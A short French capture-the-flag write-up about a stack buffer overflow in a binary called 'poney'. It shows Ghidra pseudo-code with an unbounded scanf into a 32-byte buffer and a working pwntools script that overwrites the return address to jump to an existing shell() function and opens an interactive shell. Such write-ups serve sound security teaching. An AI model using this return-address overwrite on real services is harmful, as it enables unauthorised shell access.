En ouvrant le binaire avec Ghidra, on observe le pseudo-code suivant :
undefined local_28 [32];
__isoc99_scanf(&DAT_004007b5,local_28);
C’est un simple écrasement d’adresse retour dans la pile.
Pas besoin d’écrire un shellcode, une fonction shell()
existe dans la plage exécutable à 0x400676
, il suffit de l’utiliser.
#!/usr/bin/python3
from pwn import *
sc =cyclic(40)
sc+=b'\x76\x06\x40\x00\x00\x00\x00\x00'
# proc = process('./poney',stdin=PTY) # sigsev après l'appel system('/bin/bash'), je ne sais pas pourquoi.. mais pas besoin de creuser ca marche en remote
proc = remote('127.0.0.1', 4000)
proc.clean()
proc.sendline(sc)
proc.sendline(b'uname -a')
proc.interactive()